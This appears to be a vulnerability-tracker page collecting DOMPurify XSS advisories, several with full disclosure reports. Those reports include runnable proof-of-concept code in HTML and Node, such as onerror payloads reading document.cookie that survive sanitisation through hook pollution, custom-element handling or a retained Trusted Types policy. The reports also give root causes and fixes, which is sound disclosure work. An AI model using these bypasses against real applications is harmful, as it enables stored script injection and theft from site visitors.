Where
-Infinity
0

Vendor Risk Score

See how cure53 compares to other vendors in security performance

View Risk Score →
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSERMEDIATYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

1 / 2
Source: Ubuntu
First published (updated )
Severity
4

In DOMPurify through 3.3.3, function predicates supplied via ADDATTR or ADDTAGS to DOMPurify.sanitize() persist in internal state (EXTRAELEMENTHANDLING) across subsequent sanitize() calls on the same instance. If a later call on the same instance provides ADDATTR or ADDTAGS as an array rather than a function, the previously set function handler is neither cleared nor overwritten, so it continues to approve attacker-controlled attributes or tags. This can allow dangerous event-handler attributes or forbidden tags (bypassing FORBIDTAGS) to survive sanitization, resulting in cross-site scripting. The vendor (Cure53) considers this an edge case outside DOMPurify's threat model; the referenced advisory lists 3.4.0 as the patched version.

First published (updated )
Severity
2.3
XSS
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

DOMPurify before 3.4.4 fails to sanitize DOM elements passed via INPLACE mode when the element originates from a different window/realm (e.g., an iframe's contentDocument). A cross-realm instanceof check in the private isNode() function returns false for foreign-realm nodes, causing DOMPurify to stringify the element (yielding '[object HTMLDivElement]'), silently reset INPLACE to false, and return the unsanitized element unchanged with any XSS payloads intact.

1 / 3
Source: MITRE
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

In DOMPurify through 3.3.3, function predicates supplied via ADDATTR or ADDTAGS to DOMPurify.sanitize() persist in internal state (EXTRAELEMENTHANDLING) across subsequent sanitize() calls on the same instance. If a later call on the same instance provides ADDATTR or ADDTAGS as an array rather than a function, the previously set function handler is neither cleared nor overwritten, so it continues to approve attacker-controlled attributes or tags. This can allow dangerous event-handler attributes or forbidden tags (bypassing FORBIDTAGS) to survive sanitization, resulting in cross-site scripting. The vendor (Cure53) considers this an edge case outside DOMPurify's threat model; the referenced advisory lists 3.4.0 as the patched version.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

DOMPurify versions >=3.0.0 and before 3.4.8, when configured with SAFEFORTEMPLATES together with a DOM output mode (RETURNDOM, RETURNDOMFRAGMENT, or INPLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, <%evil%>) inside <template> element content. The final normalization/scrub pass (scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFEFORTEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOMELEMENTHANDLING.

When a custom element is allowed via CUSTOMELEMENTHANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

tsx const sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { / Check if we have a custom element to handle / if (!FORBIDTAGS[tagName] && isBasicCustomElement(tagName)) { if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOMELEMENTHANDLING.tagNameCheck, tagName) ) { return false; }

if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof Function && CUSTOMELEMENTHANDLING.tagNameCheck(tagName) ) { return false; } }

CUSTOMELEMENTHANDLING is parsed from user configuration at src/purify.ts: line 741~748

tsx const customElementHandling = objectHasOwnProperty(cfg, 'CUSTOMELEMENTHANDLING') && cfg.CUSTOMELEMENTHANDLING && typeof cfg.CUSTOMELEMENTHANDLING === 'object' ? clone(cfg.CUSTOMELEMENTHANDLING) : create(null);

CUSTOMELEMENTHANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOMELEMENTHANDLING object there.

During element sanitization, sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

tsx / Remove element if anything forbids its presence / if ( FORBIDTAGS[tagName] || (!( EXTRAELEMENTHANDLING.tagCheck instanceof Function && EXTRAELEMENTHANDLING.tagCheck(tagName) ) && !ALLOWEDTAGS[tagName]) ) { return sanitizeDisallowedNode(currentNode, tagName); }

If so, it immediately delegates to sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

tsx const sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { / Check if we have a custom element to handle / if (!FORBIDTAGS[tagName] && isBasicCustomElement(tagName)) { if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOMELEMENTHANDLING.tagNameCheck, tagName) ) { return false; }

if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof Function && CUSTOMELEMENTHANDLING.tagNameCheck(tagName) ) { return false; } }

If the node is treated as a basic custom element and CUSTOMELEMENTHANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to sanitizeElements() via the return sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in sanitizeElements() is skipped for that custom element instance, including:

- the namespace validation at src/purify.ts: line 1816~1826

tsx Check whether element has a valid namespace. Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype nodeType getter rather than instanceof Element, which is realm- bound and short-circuits to false for any node minted in a different realm — letting a foreign-realm element with a forbidden namespace slip past the namespace check entirely. / const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType; if (nt === NODETYPE.element && !checkValidNamespace(currentNode)) { forceRemove(currentNode); return true; }

- the fallback-tag mXSS check at src/purify.ts: line 1828~1837

tsx / Make sure that older browsers don't get fallback-tag mXSS / if ( (tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(EXPRESSIONS.FALLBACKTAGCLOSE, currentNode.innerHTML) ) { forceRemove(currentNode); return true; }

- most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.

tsx / Execute a hook if present / executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOMELEMENTHANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOMELEMENTHANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

1. Save the following HTML to a file, for example poc.html. 2. Open it in a browser. 3. Observe that the div control loses data-bio, while the allowed custom element keeps it. 4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script> </head> <body> <pre id="result"></pre>

<script> window.controlFired = false; window.candidateFired = false;

customElements.define("x-bio", class extends HTMLElement { connectedCallback() { const bio = this.getAttribute("data-bio"); if (bio) this.innerHTML = bio; } });

DOMPurify.addHook("afterSanitizeElements", node => { if (node.hasAttribute && node.hasAttribute("data-bio")) { node.removeAttribute("data-bio"); } });

const config = { CUSTOMELEMENTHANDLING: { tagNameCheck: /^x-/ } };

const controlInput = '<div data-bio="&lt;img src=x onerror=window.controlFired=true&gt;"></div>';

const candidateInput = '<x-bio data-bio="&lt;img src=x onerror=window.candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config); const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div"); container.innerHTML = cleanCandidate; document.body.appendChild(container);

setTimeout(() => { document.getElementById("result").textContent = "This is not direct DOMPurify XSS.\n" + "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" + "control: " + cleanControl + "\n" + "candidate: " + cleanCandidate + "\n" + "after connectedCallback: " + container.innerHTML + "\n" + "control fired: " + window.controlFired + "\n" + "candidate fired: " + window.candidateFired; }, 100); </script> </body> </html>

Expected result

control: <div></div> candidate: <x-bio data-bio="<img src=x onerror=window.candidateFired=true>"></x-bio> after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.candidateFired=true"></x-bio> control fired: false candidate fired: true

This is output of HTML PoC.

<img width="1917" height="961" alt="poc" src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10" />

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

- enable CUSTOMELEMENTHANDLING, - rely on afterSanitizeElements as a security policy layer, - expect that hook to apply uniformly to all surviving elements, - and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

- ensuring that allowed custom elements also consistently pass through afterSanitizeElements - documenting clearly that elements preserved via CUSTOMELEMENTHANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

1 / 3
Source: GitHub
First published (updated )
Severity
4
XSS

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. In 3.4.4, DOMPurify allowed selectedcontent by default, allowing browsers to re-clone an XSS payload after sanitization so that unsanitized markup inside <selectedcontent> is returned. This issue is fixed in version 3.4.5.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWEDATTR inside parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SETCONFIG = true, which causes sanitize() to skip parseConfig entirely — and the clone-guard lives inside parseConfig. The hook is then handed the live, shared ALLOWEDATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.

---

Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

1. Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and 2. Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.

---

Root cause (source: src/purify.ts, v3.4.10)

The 3.4.7 clone-guard — only inside parseConfig:

// src/purify.ts parseConfig() (lines ~950-968) // "if a hook is registered AND the set still points at the default constant, clone it. // The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original." if ( ... && hooks.uponSanitizeAttribute.length > 0) { ALLOWEDTAGS = clone(ALLOWEDTAGS); // line 961 } if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) { ALLOWEDATTR = clone(ALLOWEDATTR); // line 968 }

sanitize() skips parseConfig on the persistent-config path:

// src/purify.ts DOMPurify.sanitize() (line 2369) if (!SETCONFIG) { parseConfig(cfg); // <-- clone-guard lives in here; SKIPPED when SETCONFIG is true }

setConfig() sets the flag that disables the guard:

// src/purify.ts (lines 2596-2598) DOMPurify.setConfig = function (cfg = {}) { parseConfig(cfg); SETCONFIG = true; // every later sanitize() now skips parseConfig };

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference allowedAttributes: ALLOWEDATTR, // (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWEDATTR itself // isValidAttribute gates purely on ALLOWEDATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWEDATTR.

---

Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)

js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements DP.setConfig({ ALLOWEDTAGS: ['img'], ALLOWEDATTR: ['src'] }); DP.addHook('uponSanitizeAttribute', (node, data) => { if (node.getAttribute && node.getAttribute('data-trusted') === '1') { data.allowedAttributes['onerror'] = true; // intended: trusted-only } });

// 1) A trusted widget is rendered once DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">')); // OUTPUT: <img src="x" onerror="alert(document.cookie)"> <-- onerror SURVIVES -> XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed on" (attribute-agnostic)

js // Same setConfig + hook shape, but the hook allows a BENIGN attribute (title). // The leak is identical -> the defect is a shared-state mutation in DOMPurify, // independent of which attribute the hook touches. DP.setConfig({ ALLOWEDTAGS: ['span'], ALLOWEDATTR: [] }); DP.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true; }); DP.sanitize('<span data-trusted="1" title="ok">x</span>'); console.log(DP.sanitize('<span title="leaked">x</span>')); // -> <span title="leaked">x</span> (leaked)

PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds

js const DP2 = createDOMPurify(new JSDOM('').window); DP2.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true; }); DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWEDTAGS: ['img'], ALLOWEDATTR: ['src'] }); console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWEDTAGS: ['img'], ALLOWEDATTR: ['src'] })); // OUTPUT: <img src="x"> <-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

- The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist. - It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>. - It persists for the instance lifetime (survived 5/5 subsequent default calls). - clearConfig() does restore a clean state (this is the bound of the impact).

---

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBIDATTR does not mitigate. A defensive sanitize(input, { FORBIDATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by parseConfig, which sanitize() skips entirely under SETCONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWEDATTR is the sole gate.

---

Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

1. The app installs a persistent baseline policy via setConfig({ ALLOWEDTAGS: [...], ALLOWEDATTR: [...] }). 2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe. 3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

---

Remediation

Extend the existing clone-guard to the persistent-config (SETCONFIG) fast-path: when sanitize() skips parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in parseConfig.

js // In DOMPurify.sanitize(), replacing the bare if (!SETCONFIG) { parseConfig(cfg); }: if (!SETCONFIG) { parseConfig(cfg); } else if (hooks.uponSanitizeAttribute.length > 0) { // Persistent-config path: parseConfig (and its clone-guard) is skipped, so a hook would // otherwise mutate the shared ALLOWEDATTR/ALLOWEDTAGS permanently. Clone per call. if (ALLOWEDATTR === DEFAULTALLOWEDATTR || ALLOWEDATTR === currentSetConfigAttr) { ALLOWEDATTR = clone(ALLOWEDATTR); } if (ALLOWEDTAGS === DEFAULTALLOWEDTAGS || ALLOWEDTAGS === currentSetConfigTags) { ALLOWEDTAGS = clone(ALLOWEDTAGS); } }

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWEDATTR/ALLOWEDTAGS whenever SETCONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.

---

Limitations

- Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass. - Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn. - A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

- Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10. - Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig(). - Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

---

Appendix A — Node PoC (complete, runnable)

js // poc.js — npm i dompurify@3.4.10 jsdom && node poc.js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const freshDP = () => createDOMPurify(new JSDOM('').window); const log = (s) => console.log(s); log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content { const DP = freshDP(); DP.setConfig({ ALLOWEDTAGS: ['img'], ALLOWEDATTR: ['src'] }); DP.addHook('uponSanitizeAttribute', (node, data) => { if (node.getAttribute && node.getAttribute('data-trusted') === '1') { data.allowedAttributes['onerror'] = true; // intended: trusted-only } }); DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">'); // trusted render const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">'); // attacker, no data-trusted log('[PoC1] attacker output : ' + attacker); log('[PoC1] onerror survived : ' + /onerror/.test(attacker)); log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + ' (shared gate poisoned)\n'); }

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on" { const DP = freshDP(); DP.setConfig({ ALLOWEDTAGS: ['span'], ALLOWEDATTR: [] }); DP.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true; }); DP.sanitize('<span data-trusted="1" title="ok">x</span>'); log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n'); }

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds { const DP = freshDP(); DP.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true; }); DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWEDTAGS:['img'], ALLOWEDATTR:['src'] }); const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWEDTAGS:['img'], ALLOWEDATTR:['src'] }); log('[PoC3] control output : ' + ctrl + ' stripped: ' + !/onerror/.test(ctrl) + '\n'); }

// Persistence: survives removeAllHooks(); reset only by clearConfig() { const DP = freshDP(); DP.setConfig({ ALLOWEDTAGS: ['img'], ALLOWEDATTR: ['src'] }); DP.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true; }); DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">'); DP.removeAllHooks(); let leaks = 0; for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++; log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()'); DP.clearConfig(); log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + ' (reset)'); }

Expected output: [PoC1] attacker output : <img src="x" onerror="alert(document.cookie)"> [PoC1] onerror survived : true [PoC1] isValidAttribute(img,onerror) -> true (shared gate poisoned) [PoC2] benign title leaks: <span title="leaked">x</span> [PoC3] control output : <img src="x"> stripped: true [persist] survived 5/5 calls after removeAllHooks() [persist] after clearConfig(): <img src="x"> (reset)

Appendix B — Browser PoC (complete; confirms execution)

html <!doctype html><html><head><meta charset="utf-8"> <script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script> </head><body><pre id="out"></pre> <script> const log = (s) => document.getElementById('out').textContent += s + '\n'; window.fired = []; window.alert = (x) => window.fired.push('alert:' + x); // sentinel: capture exec, no modal log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements DOMPurify.setConfig({ ALLOWEDTAGS: ['img'], ALLOWEDATTR: ['src'] }); DOMPurify.addHook('uponSanitizeAttribute', (node, data) => { if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true; });

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">'); // one trusted render const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">'); // attacker log('attacker sanitized output: ' + out); const host = document.createElement('div'); host.innerHTML = out; // surviving onerror arms on the broken-src img document.body.appendChild(host);

setTimeout(() => { log('handlers fired: ' + JSON.stringify(window.fired)); log(window.fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution'); }, 500); </script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Impact

A DOMPurify instance that is reused across trust boundaries can stay bound to a previously supplied TRUSTEDTYPESPOLICY even after clearConfig() is called. A later caller that requests RETURNTRUSTEDTYPE receives a TrustedHTML object created by the old policy, not by a clean default configuration.

If the old policy is unsafe or controlled by a less-trusted integration, this turns a later "default" sanitize call into script execution at a Trusted Types sink. TRUSTEDTYPESPOLICY: null on the later call also does not clear the retained policy. dompurify-trusted-types-policy-survives-clearconfig-poc.js

Affected version

Tested against DOMPurify 3.4.8, repository commit 825e617753ac1169306a542d3174a77f717a0cf6.

Root cause

parseConfig() overwrites trustedTypesPolicy when cfg.TRUSTEDTYPESPOLICY is truthy, but the default/null path only initializes the internal policy when trustedTypesPolicy === undefined. Once a custom policy has been set, later default config parsing leaves it in place.

Relevant code:

- src/purify.ts:786-812 accepts and stores cfg.TRUSTEDTYPESPOLICY. - src/purify.ts:813-832 does not reset an existing policy when config has no policy or has TRUSTEDTYPESPOLICY: null. - src/purify.ts:2123-2125 signs the final serialized HTML with the retained policy when RETURNTRUSTEDTYPE is true. - src/purify.ts:2133-2136 clearConfig() only clears CONFIG and SETCONFIG; it does not reset trustedTypesPolicy or emptyHTML.

Local PoC

Run from the DOMPurify checkout, or set DOMPURIFYREPO:

bash node /home/dompurify-trusted-types-policy-survives-clearconfig-poc.js

Observed output:

json { "result": { "baseline": "<b>baseline</b>", "duringPolicy": "<img src=x onerror=alert(\"TTPOLICYSURVIVEDCLEARCONFIG\")>", "afterClearString": "<img src=\"x\">", "afterClearTrustedType": "[object TrustedHTML]", "afterClearTrusted": "<img src=x onerror=alert(\"TTPOLICYSURVIVEDCLEARCONFIG\")>", "afterNullTrusted": "<img src=x onerror=alert(\"TTPOLICYSURVIVEDCLEARCONFIG\")>", "mountedHTML": "<img src=\"x\" onerror=\"alert(&quot;TTPOLICYSURVIVEDCLEARCONFIG&quot;)\">" }, "dialogs": [ "TTPOLICYSURVIVEDCLEARCONFIG" ] }

The important part is the split behavior after cleanup:

- purify.clearConfig(); purify.sanitize(...); returns a normal sanitized string (<img src="x">), because the later call is not asking for a Trusted Type. - purify.clearConfig(); purify.sanitize(..., { RETURNTRUSTEDTYPE: true }); still uses the old policy and returns attacker-controlled TrustedHTML. - Passing { TRUSTEDTYPESPOLICY: null, RETURNTRUSTEDTYPE: true } also still returns attacker-controlled TrustedHTML.

Preconditions

This is a shared-instance state contamination issue. It matters when one DOMPurify instance is reused by multiple integrations, plugins, request handlers, or components with different trust levels, and a cleanup step relies on clearConfig() to restore safe defaults.

This is not a default string-input bypass. An attacker must be able to influence a prior TRUSTEDTYPESPOLICY on the reused instance, or a less-trusted integration must have installed an unsafe policy.

Severity

impact is XSS at a Trusted Types sink in applications that reuse a DOMPurify instance across trust boundaries. Attack complexity is high because exploitation depends on prior policy injection or a less-trusted integration and a later RETURNTRUSTEDTYPE sink.

Suggested fix

Make clearConfig() reset Trusted Types state as part of restoring defaults, or have parseConfig() explicitly clear trustedTypesPolicy and emptyHTML when TRUSTEDTYPESPOLICY: null is supplied.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
XSS
AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.7, DOMPurify INPLACE sanitization could skip shadow contents attached to an element inside <template>.content, allowing attacker-controlled markup such as event handlers, JavaScript URLs, or scripts to survive and execute when an application cloned and inserted the sanitized template. This issue is fixed in version 3.4.7.

1 / 3
Source: MITRE
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

When DOMPurify.sanitize(root, { INPLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent INPLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

- DOMPurify 3.4.6 - Any caller that does DOMPurify.sanitize(node, { INPLACE: true }) on attacker-supplied live DOM nodes - Verified attacker-controlled node sources: - same-origin iframe → live node passed by reference - same-origin window.open() popup → live node passed by reference - same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

- String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

ts const sanitizeElements = function (currentNode: any): boolean { ... if (isClobbered(currentNode)) { forceRemove(currentNode); return true; }

const tagName = transformCaseFunc(currentNode.nodeName); ... if ( FORBIDTAGS[tagName] || (!(...) && !ALLOWEDTAGS[tagName]) ) { ... forceRemove(currentNode); return true; } ... };

For non-form nodes, isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — isClobbered is form-specific:

ts const isClobbered = function (element: Element): boolean { const realTagName = getNodeName ? getNodeName(element) : null; if (typeof realTagName !== 'string') { return false; }

if (transformCaseFunc(realTagName) !== 'form') { return false; }

return (...); };

The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

